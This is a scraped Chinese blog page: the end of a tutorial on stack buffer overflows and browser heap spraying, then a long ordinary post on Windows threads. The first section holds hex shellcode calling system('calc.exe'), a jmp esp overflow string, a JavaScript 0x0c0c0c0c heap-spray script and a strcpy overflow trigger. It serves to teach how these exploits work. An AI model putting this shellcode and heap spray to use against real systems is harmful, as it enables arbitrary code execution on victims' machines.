"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaa"//200个a "\x53\x93\xd2\x77"//jmp esp "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" //loadlibrary地址 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" "\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe"); "\xFF\xD0" "\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address "\xff\xd0"//ExitProcess(0); ;服务器是采用release的方式编译的,所以在调用函数的时候没有进行ebp的压栈,所以在弟200个字符的位置就是jmp esp的地址,后面紧跟着攻击者构建的攻击代码,这段机器码主要的功能是弹出一个计算器从上面的例子中我们看到许多shellcode都是采用16进制的方式硬编码出来的,而我们不可能真的拿16进制的机器码去编写程序,所以有的时候为了实现特定的功能,可以先使用C编写相关的代码,然后通过调试在VS中点击ALT + 8得到对应的汇编码,在汇编的界面上点击右键,选择显示汇编码那个选项就可以得到上面调试图片的代码,前面是地址,后面是汇编对应的机器码。堆栈协同攻击在使用栈溢出攻击的时候经常会破坏原始的堆栈,这样在执行完成攻击代码后如果不结束程序,一般程序都会崩溃,堆栈协同攻击是将攻击代码写入到堆中,对于栈来说只覆盖ret位置的地址,让其指向一个特定的地址,并将攻击代码写到这个地址上。通过缓冲区溢出的方式将栈中保存的eip的值修改为0x0c0c0c0c,然后在堆中分配200M的内存,将这200M分为200分,每份1M,都填充为、\0x90\0x90\0x90.......\0x90 + shellcode + 0x00...0x00的方式,这样在函数返回时会返回到对应的地址,执行攻击代码。在这有几个问题。为什么需要给填充那么多90也就是Nop指令?我们说上面给的地址只是假想的地址,并不能保证分配的堆内存一定是这个首地址,如果堆内存以shellcode开头那么如果这个时候0x0c0c0c0c很有可能正好落在shellcode的某个指令里面,可能会发生指令截断,而执行错误的指令,所以前面以nop指令填充,Nop占一个字节,所以可以避免这种问题为什么要用0x0c0c0c0c这种对称的值做为返回地址?要回答这个问题我们先假设这样一个情景,现在有一个获取文件全路径的函数,先通过某个方式得到文件所在目录szPath,然后根据用户传入的名称调用strcat将两个字符串进行拼接,然后最后返回,这个时候strcat由于不校验缓冲区的大小,就产生了一个可以利用的漏洞,但是由于返回的szPath路径长度不确定,那么我们传入多少个字符可以刚好溢出到ret的地址呢?有一种方法就是将所有的四个字节都写入这个返回地址,就像0x12345678 0x12345678 0x12345678这种,但是由于我们不知道szPath具体会是多少个字符,如果比我们预计的多一个那么覆盖到的就可能是0x34567812如果少一个则会是0x78123456,这些都不是我们想要的,所以采用0x0c0c0c0c这种对称的返回地址不管你的szPath是多少个字节,我都可以正确的将这个地址覆盖到ret的位置。为什么要分配200M这么到的空间,而且怎么保证这个0x0c0c0c0c一定落在这200M里面?由于系统是随机分配的堆内存,所以分配的这块内存的首地址具体实多少谁也不知道,也不能保证这个0x0c0c0c0c一定会落在这200M空间内,所以我们分配这么大的空间,分为200份,每份都有这个shellcode,纯粹只是为了加大这个0x0c0c0c0c命中的概率,毕竟相比于shellcode不到几K的大小200M其实是很大的。这个方法跳转到的地址是不确定的,有一定的盲目性,所以又叫做盲跳攻击下面是一个利用javascript写得堆栈协同攻击的例子:<script language="javascript"> var codeTemp = "%u558B%uEC33%uC050%u5050%uC645%uF44D%uC645%uF553" +"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" +"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" +"\x7b\x1d\x80\x7c" //loadlibrary地址 +"\x52\x8D\x45\xF4\x50" +"\xFF\x55\xF0" +"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" +"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" +"\x50\xB8" +"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe"); +"\xFF\xD0" +"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address +"\xff\xd0"//ExitProcess(0); var codeTemp22 = "%u8B55%u33EC%u50C0%u5050%u45C6%u4DF4%u45C6%u53F5" //+"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" +"\u45C6\u56F6\u45C6\u43F7\u45C6\u52F8\u45C6\u54F9\u45C6\u2eFA\u45C6" +"\u44FB\u45C6\u4CFC\u45C6\u4CFD\uBA90" //s+"\uC644\uFC45\uC64C\uFD45\uBA4C" +"\u1d7b\u7c80" //loadlibrary地址 +"\u8D52\uF445\uFF50" +"\uF055" +"\u8B55\u83EC\u2CEC\u63B8\u6c61\u8963\uF445\u2eB8\u7865\u8965" +"\uF845\u20B8\u2020\u8922\uFC45\uD233\u5588\u8DFF\uF445" +"\uB850" +"\u93c7\u77bf" //sytem函数地址 system("calc.eue"); +"\uD0FF" +"\ub853\ucafa\u7c81"//EuitProcess Address +"\ud0ff"//EuitProcess(0); var shellcode=unescape(codeTemp22) ; var nop=unescape("%u9090%u9090"); while (nop.length<= 0x100000/2) { nop+=nop; } nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 ); var slide = new Array();//fill 200MB heap memory with our block for (var i=0; i<200; i++) { slide[i] = nop + shellcode; } </script>这段代码首先利用循环分配了200M的空间,将每兆都写入shellcode加上nop指令,如果浏览器打开这个段代码将会在某个堆上面写入这段shellcode,如果浏览器被人利用溢出攻击将返回地址改为0x0c0c0c0c,那么很可能会跳转到这段代码上面,在测试的时候可以使用dll注入的方式,制造一个缓冲区溢出漏洞,然后在触发它就可以实现这个。下面是dll中用来触发溢出的代码char *szOverflowBuff[] = "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x0c\x0c\x0c\x0c"; void test_overflow() { char szBuf[28]; strcpy(szBuf, szOverflowBuff); }那么在debug版本下这个字符串刚好能够覆盖ret的地址,所以如果IE首先打开了之前的脚本,将shellcode写入到内存中的,然后再执行这个代码,就会覆盖ret在返回返回的时候跳转到shellcode的位置执行shellcode的内容。
2016年10月31日
3 阅读
0 评论
0 点赞
2016-09-14
windows 线程
在windows中进程只是一个容器,用于装载系统资源,它并不执行代码,它是系统资源分配的最小单元,而在进程中执行代码的是线程,线程是轻量级的进程,是代码执行的最小单位。从系统的内核角度看,进程是一个内核对象,内核用这个对象来存储一些关于线程的信息,比如当前线程环境等等,从编程的角度看,线程就是一堆寄存器状态以及线程栈的一个结构体对象,本质上可以理解为一个函数调用,一般线程有一个代码的起始地址,系统需要执行线程,只需要将寄存器EIP指向这个代码的地址,那么CPU接下来就会自动的去执行这个线程,线程切换时也是修改EIP的值,那么CPU就回去执行另外的代码了。什么时候不用多线程?一般我们都讨论什么时候需要使用多线程,很多人认为只要计算任务能拆分成多个不想关的部分,就可以使用多线程来提升效率,但是需要知道的是,线程是很耗费资源的,同时CPU在线程之间切换也会消耗大量的时间,所以在使用上并不是多线程就是好的,需要慎重使用,在下列情况下不应该使用多线程:当一个计算任务是严重串行化的,也就是一个计算步骤严重依赖上一个计算步骤的时候。但是如果是针对不同的初始参数可以得到不同的结果那么可以考虑用多线程的方式,将每个传入参数当作一个线程,一次计算出多组数据。当多个任务有严格的先后逻辑关系的时候,这种情况下利用多线程需要额外考虑线程之间执行先后顺序的问题,实际上可能它的效率与普通的单线程程序差不多,它还需要额外考虑并发控制,这将得不偿失当一个服务器需要处理多个客户端连接的时候,优先考虑的是使用线程池,而不是简单的使用多线程,为每个客户端连接创建一个线程,这样会严重浪费资源,而且线程过的,CPU在进程调度时需要花大量的时间来执行轮询算法,会降低效率。主线程进程的入口函数就是主线程的入口函数,一般主线程推出进程退出(这是由于VC++中在主线程结束时会隐含的调用ExitProcess)线程入口地址在windows中需要为线程指定一个执行代码的开始地址,这个在VC++中体现为需要为每个进程制定一个函数指针,并制定一个void* 型的指针类型的参数。当CPU执行这个线程时会将寄存器环境改为这个线程指定的环境,然后执行代码(具体就是前面所说的更改EIP的值)创建线程在windows中创建线程所使用的API是CreateThread,这个函数的原型如下:HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpsa, DWORD cbStack, LPTHREAD_START_ROUTINE lpStartAddr, LPVOID lpvThreadParam, DWORD fdwCreate, LPDWORD lpIDThread );第一个参数是线程对象的安全描述符第二个参数是线程栈的大小,每个线程都有一个栈环境用来存储局部变量,以及调用函数,这个值可以给0,这个时候系统会根据线程中调用函数情况动态的增长,但是如果需要很大的线程栈,比如要进行深层的递归,并且每个递归都有大量的局部变量和函数时,运行一段时间后,可能会出现没有足够大的地址空间再来增长线程栈,这个时候就会出现栈溢出的异常,为了解决这个问题,我们可以填入一个较大的值,以通知系统预留足够大的地址空间。第三个参数是线程的入口函数地址,这个是一个函数指针,函数的原型是DWORD ThreadProc( LPVOID lpParameter); 函数中就是线程将要执行的代码。第四个参数是函数中将要传入的参数,为了方便传入多个参数,一般将要使用的过个参数定义为一个结构体,将这个结构体指针传入,然后再函数中将指针转化为需要的结构体指针,这样就可以使用多个参数。第五个参数是创建标志,默认一般传入0,但表示线程一被创建马上执行,如果传入CREATE_SUSPENDED,则表示线程先创建不执行,需要使用函数ResumeThread唤醒线程,另外在XP以上的系统中可以使用STACK_SIZE_PARAM_IS_A_RESERVATION结合上面的第二个参数,表示当前并不需要这么内存,只是先保留当前的虚拟地址空间,在需要时有程序员手动提交物理页面。如果没有指定那么回默认提交物理页面。第六个参数会返回一个线程的ID。下面是一个创建线程的例子:typedef struct tag_THREAD_PARAM { int nThreadNo; int nValue; }THREAD_PARAM, *LPTHREAN_PARAM; int _tmain(int argc, TCHAR *argv[]) { LPTHREAN_PARAM lpValues = (LPTHREAN_PARAM)HeapAlloc(GetProcessHeap(), 0, 10 * sizeof(THREAD_PARAM)); for (int i =0; i < 10; i++) { lpValues[i].nThreadNo = i; lpValues[i].nValue = i + 100; } HANDLE hHandle[10] = {NULL}; for(int i = 0; i < 10; i++) { hHandle[i] = CreateThread(NULL, 0, ThreadProc, &lpValues[i], 0, NULL); if (NULL == hHandle[i]) { return 0; } } WaitForMultipleObjects(10, hHandle, TRUE, INFINITE); return 0; } DWORD WINAPI ThreadProc(LPVOID lpParam) { LPTHREAN_PARAM pThreadValues = (LPTHREAN_PARAM)lpParam; printf("%d, values = %d\n", pThreadValues->nThreadNo, pThreadValues->nValue); return 0; }上述代码中我们将两个整型数据定义为了一个结构体,并在创建线程中,将这个结构体地址作为参数传入,这样在线程中就可以使用这样的两个参数了。线程退出当满足下列条件之一时线程就会退出调用ExitThread线程函数返回调用ExitProcess用线程句柄调用TerminateThread用进程句柄调用TerminateProcess当线程终止时,线程对象的状态会变为有信号,线程状态码会由STILL_ACTIVE改为线程的退出码,可以用GetExitThreadCode得到推出码,然后根据推出码是否为STILL_ACTIVE判断线程是否在运行线程栈溢出的恢复使用C++时由于下标溢出而造成的栈溢出将无法恢复。当栈溢出时会抛出EXCEPTION_STACK_OVERFLOW的结构化异常,之后使用_resetstkflow函数可以恢复栈环境,这个函数只能在_except的语句块中使用。调用 SetThreadStackGuarantee函数可以保证当栈溢出时有足够的栈空间能使用结构话异常处理,SEH在底层仍然是使用栈进行异常的抛出和处理的,所以如果不保证预留一定的栈空间,可能在最后使用不了SEH。下面是一个使用的例子:void ArrayErr(); void Stackflow(); DWORD _exception_stack_overflow(DWORD dwErrorCcode); int g_nCnt = 0; int _tmain(int argc, TCHAR *argv[]) { for (int i = 0; i < 10; i++) { __try { /* ArrayErr();*/ Stackflow(); } __except(_exception_stack_overflow(GetExceptionCode())) { int nResult = _resetstkoflw(); if (!nResult) { printf("处理失败\n"); break; }else { printf("处理成功\n"); } } } return 0; } void ArrayErr() { int array[] = {1, 2}; array[10000] = 10; } void Stackflow() { g_nCnt++; int array[1024] = {0}; Stackflow(); } DWORD _exception_stack_overflow(DWORD dwErrorCcode) { if (EXCEPTION_STACK_OVERFLOW == dwErrorCcode) { return EXCEPTION_EXECUTE_HANDLER; }else { return EXCEPTION_CONTINUE_SEARCH; } }在上述的例子中定义两个会引起异常的函数,一个是下标越界,一个是深度的递归,两种情况都会引起栈溢出,但是下标越界是不可恢复的,所以这个异常不能被处理,在异常处理中我们使用函数_resetstkoflw来恢复栈,使得程序可以继续运行下去。线程本地存储当线程需要访问一个共同的全局变量,并且某个线程对这个变量的修改不会影响到其他的进程的时候可以给予每个线程一份拷贝,每个线程访问变量在它自己中的拷贝,而不用去争抢这一个全局变量,有时候我们可能会想出用数组的方式来存储这每份拷贝,每个线程访问数组中的固定元素,但是当线程是动态创建和销毁也就是线程数量动态变化时,维护这个数组将会非常困难,这个时候可以使用线程本地存储技术(TLS),它的基本思想是在访问全局变量时给每个线程一个实例,各个线程访问这个实例而不用去争抢一个全局变量。就好像系统为我们维护了一个动态数组,让每个线程拥有这个数组中的固定元素。使用TLS有两种方法关键字法和API法。关键字法: 使用关键字__declspec(thread)修饰一个变量,这样就可以为每个访问它的线程创建一份拷贝。动态API法,TlsAlloc为每个全局变量分配一个TLS索引, TlsSetValue为某个索引设置一个值,TlsGetValue获取某个索引的值TlsFree释放这个索引两中方式各有优缺点,第一种方式使用简单,但是仅仅局限于VC++,第二中方式使用相对复杂但是可以跨语言只要能使用windowsAPI就可以使用这种方式下面分别展示了使用这两种方式的例子:DWORD _declspec(thread) g_dwCurrThreadID = 0; DWORD WINAPI ThreadProc(LPVOID lpParam); int main() { g_dwCurrThreadID = GetCurrentThreadId(); HANDLE hThread[10] = {NULL}; for (int i = 0; i < 10; i++) { hThread[i] = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); } printf("Main Thread id = %x, g_dwCurrThreadID = %x, the address g_dwCurrThreadID = %08x\n", GetCurrentThreadId(), g_dwCurrThreadID, &g_dwCurrThreadID); WaitForMultipleObjects(10, hThread, TRUE, INFINITE); for (int i = 0; i < 10; i++) { CloseHandle(hThread[i]); } return 0; } DWORD WINAPI ThreadProc(LPVOID lpParam) { g_dwCurrThreadID = GetCurrentThreadId(); Sleep(100); printf("the thread id = %x, g_dwCurrThreadID = %x, the address g_dwCurrThreadID = %08x\n", GetCurrentThreadId(), g_dwCurrThreadID, &g_dwCurrThreadID); return 0; }首先定义了一个TLS的变量,然后在线程中引用,在输出结果中发现,没个线程中的值和它的地址值都不一样,所以说使用的只是一份拷贝而已DWORD g_dwTLSIndex = 0; DWORD WINAPI ThreadProc(LPVOID lpParam); int main() { HANDLE hThread[10] = {NULL}; g_dwTLSIndex = TlsAlloc(); TlsSetValue(g_dwTLSIndex, (LPVOID)GetCurrentThreadId()); for (int i = 0; i < 10; i++) { hThread[i] = CreateThread(NULL, 0, ThreadProc, NULL, CREATE_SUSPENDED, NULL); ResumeThread(hThread[i]); } printf("Main Thread id = %x, g_dwCurrThreadID = %x\n", GetCurrentThreadId(), TlsGetValue(g_dwTLSIndex)); WaitForMultipleObjects(10, hThread, TRUE, INFINITE); for (int i = 0; i < 10; i++) { CloseHandle(hThread[i]); } TlsFree(g_dwTLSIndex); return 0; } DWORD WINAPI ThreadProc(LPVOID lpParam) { TlsSetValue(g_dwTLSIndex, (LPVOID)GetCurrentThreadId()); printf("the thread id = %x, g_dwCurrThreadID = %x\n", GetCurrentThreadId(), TlsGetValue(g_dwTLSIndex)); return 0; } 上述使用中,在主线程中申请和释放一个TLS变量,在每个进程中仍然是使用这个变量,输出的结果也是每个变量都不同。线程的挂起和恢复用函数SuspendThread和ResumeThread控制线程的暂停和恢复,一个暂停的线程无法用ResumeThread来唤醒自身,除非有其他线程调用ResumeThread来唤醒。暂停的线程总是立即被暂停,而不管它执行到了哪个指令。需要注意的是,线程这个内核对象中有一个暂停计数器,每当调用一个SuspendThread这个计数器会加一,而每当调用一次ResumeThread计数器会减一,只有当计数器为0时线程才会立即启动,所以可能会出现这样的情况,调用了ResumeThread之后线程并没有立即启动,这个是正常现象。另外可以使用Sleep函数使线程休眠一段时间后再启动,这个填入的时间只是一个参考值,并不是填入多少,就让线程暂停多久,比如说我们填入10ms,这个时候当线程真正陷入到休眠状态时CPU可能执行其他线程去了,如果没有特殊情况,CPU会一直执行到这个线程的时间片结束。然后运行调度程序,调度下一个线程,所以说线程休眠的时间理论上最少也有20ms,通常会比我们设置的时间长。在创建线程的时候可以使用CREATE_SUSPEND标志来明确表示以暂停的方式创建一个线程,如果不用这个方式,那么新创建线程的行为将难以掌握,有可能在CreateThread函数返回之后,线程就开始执行了,也有可能在返回前执行,所以推荐使用这个标志,创建完成后,进行想干的初始化操作,并在必要的时候调用ResumeThread启动它。线程的寄存器状态线程环境也就是线程在运行中,一大堆相关寄存器的值,这些值Windows维护在CONTEXT这个结构体中,在获取时可以通过设置结构体中成员的ContextFlag的值来表示我们需要获取哪些寄存器的值,一般填入CONTEXT_ALL或者CONTEXT_FULL获取所有寄存器的值,用SetThreadContext设置线程寄存器的值,用GetThreadContext获取线程的寄存器环境。需要注意的时,SetThreadContext只能用来修改通用寄存器的值,而像DS, CS这样的段寄存器是收到系统保护的,这些函数是处于RING3层,并不能进入到内核态。线程调度的优先级windows是抢占式多任务的,各个线程是抢占式的获取CPU,一般遵循先到先执行的顺序,windows中的带调度线程是存储在线程队列中的,但是这个队列并不是真正意义上的队列,这个队列是允许插队的,比如当用户点击了某个窗口,那么系统为了响应用户操作,系统会激活窗口并调整队列的顺序,将于窗口相关的线程排到较前的位置,这个插队时通过提高线程的优先级的方式实现的。我们在程序中可以使用SetThreadPriority调整线程的优先级。但是在程序中不要依赖这个值来判断线程的执行顺序,这个值对于系统来说只是一个参考值,当我们的线程进入到队列中时,系统会动态的调整它的优先级,如果某个进程由于优先级的问题长时间没有运行,系统可能会提高它的优先级,而有的线程由于优先级过高,已经执行了多次,系统可能会降低它的优先级。一来可以快速响应用户程序,二来可以防止某些恶意程序抢占式的使用CPU资源。线程的亲缘性线程的亲缘性与进程的相似,但是线程的亲缘性只能在进程亲缘性的子集之上,比如进程的亲缘性被设置在0 2 3 8这几个CPU上,线程就只能在这几个CPU上运行即使设置亲缘性为7,系统也不会将线程加载到这个7号CPU上运行。调用函数SetThreadAffinityMask可以设置亲缘性,使所有线程都在不同的CPU上运行,已达到真正的并发执行。下面是一个使用亲缘性的例子://设置CPU的位掩码 #define SETCPUMASK(i) (1<<(i)) DWORD WINAPI ThreadProc(LPVOID lpParam); #define FOREVER for(;;); int _tmain() { SYSTEM_INFO si = {0}; GetSystemInfo(&si); DWORD dwCPUCnt = si.dwNumberOfProcessors; for (int i = 0; i < dwCPUCnt; i++) { HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, CREATE_SUSPENDED, NULL); SetThreadAffinityMask(hThread, SETCPUMASK(i)); ResumeThread(hThread); printf("启动线程%x成功", GetCurrentThreadId()); system("PAUSE"); } //线程创建成功,并绑定到各个CPU上,理论上CPU的利用率能达到100%,在任务管理器上查看性能可以看到CPU的利用率 return 0; } DWORD WINAPI ThreadProc(LPVOID lpParam) { //死循环 FOREVER }上述程序首先判断了CPU核数,然后有几个CPU就创建几个线程,通过亲缘性设置为每个CPU绑定一个线程,在线程中我们什么都不做,只是一个死循环,主要是为了耗干CPU资源,这样通过查看资源管理器中的CPU使用情况发现CPU的使用率达到了100%,但是系统却没有一丝卡顿,这也说明Windows还是比较智能的,并没有让用户进程占据所有资源。线程可警告状态与异步函数在程序中可以通过一些方法使线程暂停,如使用SleepEx,Wait族的函数(是以Wait开始并且以Ex结尾的函数)可以使线程进入一种可警告状态,这种状态本质上是暂停当前线程,保存当前线程环境,并用这个环境加载并执行新的函数,当这个函数执行完成后,再恢复线程环境,继续执行线程接下来的代码。这些函数被称为异步函数。也就是说这些函数是借用当前的线程环境来作为自生的环境执行里面的代码。这样就类似于创建了一个轻量级的线程,它与线程的区别就是没有自身的环境状态,而是使用其他线程的环境状态,并且也不用进入到线程队列,供调度程序调度。这些异步函数有自己的队列称为异步函数队列,当线程调用这些暂停或者等待的函数时,进入休眠状态,系统会保存当前线程环境,并从异步函数队列中加载异步函数,利用当前的线程环境继续运行,等到休眠时间到达后系统恢复之前保存的环境,继续执行线程的代码。在使用时需要注意的是这些异步函数不要进行复杂的算法或者进程长时间的I/O操作,否则当线程休眠时间达到,而异步函数却未执行完,这样会造成一定的错误。默认线程是不具有异步函数队列,可以利用函数QueueUserAPC将一个异步函数加入到队列中,然后利用上述所说的函数让线程进入假休眠状态,这样就会自动调用异步函数,下面是这样的一个例子:VOID CALLBACK APCProc(ULONG_PTR dwParam) { printf("%d Call APC Function!\n", dwParam); } int _tmain(int argc, TCHAR *argv[]) { for (int i = 0 ; i < 100; i++) { QueueUserAPC(APCProc, GetCurrentThread(), i); } //如果参数改为FALSE,或者注释掉这个函数,那么将不会调用这个APC函数 SleepEx(10000, true); return 0; }上述代码中,我们在主线程中插入100个异步函数,虽然它们执行的都是同样的操作,然后让主线程休眠,SleepEx函数的第二个参数表示是否调用异步函数,如果填入FALSE,或者调用Sleep函数则不会调用异步函数。线程的消息队列线程默认是不具有消息队列的,同时也没有创建消息队列的函数,一般只需要调用与消息相关的函数,系统就会默认创建消息队列。调用PostThreadMessage可以向指定的线程发送消息到消息队列,调用PostThread可以向当前线程发送消息到消息队列,在编写带有消息循环的线程时可能由于线程有耗时的初始化操作,发送到线程的消息可能还没有被接受就丢掉了,但是如果在进行初始化时调用消息函数,让其创建一个消息队列,可以解决这问题,下面是一段例子代码:DWORD WINAPI ThreadProc(LPVOID lpParam) { MSG msg = {0}; /*利用消息相关的函数让线程创建消息队列,如果不创建,可能所有消息都不能收到 这个时候子线程会陷入死循环,主线程会一直等待子进程*/ PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE); //模拟进行耗时的初始化操作 for (int i = 0; i < 10000000; i++); while (GetMessage(&msg, NULL, 0, 0)) { printf("receive msg %d\n", msg.message); } printf("子线程退出\n"); return 0; } int _tmain(int argc, TCHAR *argv[]) { DWORD dwThreadID = 0; HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, &dwThreadID); //让主线程休眠一段时间,一遍子线程能创建消息队列 Sleep(10); //发送消息 PostThreadMessage(dwThreadID, 0x0001, 0, 0); PostThreadMessage(dwThreadID, 0x0002, 0, 0); PostThreadMessage(dwThreadID, 0x0003, 0, 0); PostThreadMessage(dwThreadID, WM_QUIT, 0, 0); //休眠一段时间让子进程能够执行完成 WaitForSingleObject(hThread, INFINITE); return 0; }线程执行时间在一些性能分析工具中可能需要使用得到具体执行某一算法的函数的执行时间,一般调用GetTickCount计算调用前时间然后在算法函数调用完成后再次调用GetTickCount再次得到时间,这两个时间详相减则得到具体算法的时间,一般这种算法没有问题,但是需要考虑的时,如果在多任务环境下,该线程的时间片到达,CPU切换到其他线程,该线程没有运行但是时间却在增加,所以这种方式得到的结果并不准确,替代的方案是使用GetThreadTimes。这个函数可以精确到100ns,并且得出系统执行该线程的具体时间,下面是函数的原型:BOOL GetThreadTimes ( HANDLE hThread, LPFILETIME lpCreationTime, LPFILETIME lpExitTime, LPFILETIME lpKernelTime, LPFILETIME lpUserTime );这个函数后面几个输出参数分别是线程的创建时间,线程的推出时间,执行内核的时间以及执行用户代码的时间。下面演示了他的具体用法:DWORD WINAPI ThreadProc(LPVOID lpParam) { DWORD dwStart = GetTickCount(); HANDLE hWait = (HANDLE)lpParam; //假设这是一个复杂的算法 while (TRUE) { if (WAIT_OBJECT_0 == WaitForSingleObject(hWait, 0)) { break; } } //模拟CPU调度其他线程 Sleep(3000); DWORD dwEnd = GetTickCount(); printf("子线程即将结束,当前执行算法所用的时间为:%d\n", dwEnd - dwStart); return 0; } int _tmain(int argc, TCHAR *argv[]) { HANDLE hWait = CreateEvent(NULL, TRUE, FALSE, NULL); DWORD dwCPUNum = 0; SYSTEM_INFO si = {0}; GetSystemInfo(&si); dwCPUNum = si.dwNumberOfProcessors; HANDLE* phThread = (HANDLE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwCPUNum * sizeof(HANDLE)); DWORD dwExitCode = 0; for (int i = 0; i < dwCPUNum; i++) { phThread[i] = CreateThread(NULL, 0, ThreadProc, hWait, CREATE_SUSPENDED, NULL); SetThreadAffinityMask(phThread[i], 1 << i); ResumeThread(phThread[i]); } _tsystem(_T("PAUSE")); //通知所有线程停止 SetEvent(hWait); FILETIME tmCreate = {0}; FILETIME tmExit = {0}; FILETIME tmKernel = {0}; FILETIME tmUser = {0}; SYSTEMTIME sysTm = {0}; ULARGE_INTEGER bigTmp1 = {0}; ULARGE_INTEGER bigTmp2 = {0}; for (int i = 0; i < dwCPUNum; i++) { GetExitCodeThread(phThread[i], &dwExitCode); printf("线程[H:0x%08X]退出,退出码:%u,以下为时间统计信息:\n", phThread[i], dwExitCode); GetThreadTimes(phThread[i], &tmCreate, &tmExit, &tmKernel, &tmUser); //得到创建时间 FileTimeToLocalFileTime(&tmCreate, &tmCreate); FileTimeToSystemTime(&tmCreate, &sysTm); printf("\t创建时间:%2u:%02u:%02u.%04u\n", sysTm.wHour, sysTm.wMinute, sysTm.wSecond, sysTm.wMilliseconds); //得到退出时间 FileTimeToLocalFileTime(&tmExit, &tmExit); FileTimeToSystemTime(&tmExit, &sysTm); printf("\t退出时间:%2u:%02u:%02u.%04u\n", sysTm.wHour, sysTm.wMinute, sysTm.wSecond, sysTm.wMilliseconds); //得到执行内核代码的时间 FileTimeToLocalFileTime(&tmKernel, &tmKernel); FileTimeToSystemTime(&tmKernel, &sysTm); printf("\t退出时间:%2u:%02u:%02u.%04u\n", sysTm.wHour, sysTm.wMinute, sysTm.wSecond, sysTm.wMilliseconds); //得到执行用户代码的时间 FileTimeToLocalFileTime(&tmUser, &tmUser); FileTimeToSystemTime(&tmUser, &sysTm); printf("\t退出时间:%2u:%02u:%02u.%04u\n", sysTm.wHour, sysTm.wMinute, sysTm.wSecond, sysTm.wMilliseconds); //线程开始时间 bigTmp1.HighPart = tmCreate.dwHighDateTime; bigTmp1.LowPart = tmCreate.dwLowDateTime; bigTmp2.HighPart = tmExit.dwHighDateTime; bigTmp2.LowPart = tmExit.dwLowDateTime; //函数GetThreadTimes返回的时间单位是100ns,是微妙的10000倍 printf("\t间隔时间(线程存活周期):%I64dms\n", (bigTmp2.QuadPart - bigTmp1.QuadPart) / 10000); //内核执行时间 bigTmp1.HighPart = tmKernel.dwHighDateTime; bigTmp1.LowPart = tmKernel.dwLowDateTime; printf("\t内核模式(RING0)耗时:%I64dms!\n", bigTmp1.QuadPart / 10000); //执行用户程序的时间 bigTmp2.HighPart = tmUser.dwHighDateTime; bigTmp2.LowPart = tmUser.dwLowDateTime; printf("\t内核模式(RING0)耗时:%I64dms!\n", bigTmp2.QuadPart / 10000); //实际占用总时间(用户代码时间 + 内核代码执行时间) printf("\t内核模式(RING0)耗时:%I64dms!\n", (bigTmp1.QuadPart + bigTmp2.QuadPart)/ 10000); CloseHandle(phThread[i]); system("PAUSE"); } //释放资源 CloseHandle(hWait); HeapFree(GetProcessHeap(), 0, phThread); return 0; }以类成员函数的方式封装线程类一般在如果要将线程函数封装到C++类中时一般采用的是静态成员的方式,因为C++中默认总会多传入一个参数this,而CreateThread需要传入的函数指针并不包含this,所以为了解决这个问题,一般传入一个静态函数的指针,但是静态函数不能定义为虚函数,也就是不能在派生类中重写它,所以在这介绍一种新的封装方式,将其封装为成员函数,并且允许被派生类重写。它的基本思想:利用函数指针的强制转化让类成员函数指针强制转化为CreateThread需要的类型,这样在真正调用函数我们给定的函数地址时就不会传入this指针,但是为了使用类成员函数又需要这个指针,所以我们将this 指针的值变为参数,通过CreateThread的进行传递,这样就模拟了C++类成员函数的调用,下面是实现的部分代码://申明了这样一个线程的入口地址函数 DWORD WINAPI ThreadProc(LPVOID lpParam); //创建线程的代码 DWORD CMyThread::CreateThread(LPSECURITY_ATTRIBUTES lpsa, DWORD cbStack, DWORD fdwCreate) { typedef DWORD (WINAPI *LPTHREAD_START_ADDRESS)(LPVOID); typedef DWORD (WINAPI CMyThread::*PCLASS_PROC)(LPVOID); PCLASS_PROC pThreadProc = &CMyThread::ThreadProc; m_hThread = ::CreateThread(lpsa, cbStack, *(LPTHREAD_START_ADDRESS*)(&pThreadProc), this, fdwCreate, &m_dwThreadID); return (NULL != m_hThread) ? -1 : 0; }完整的代码 请戳这里下载
2016年09月14日
5 阅读
0 评论
0 点赞
2016-09-06
windows 多任务与进程
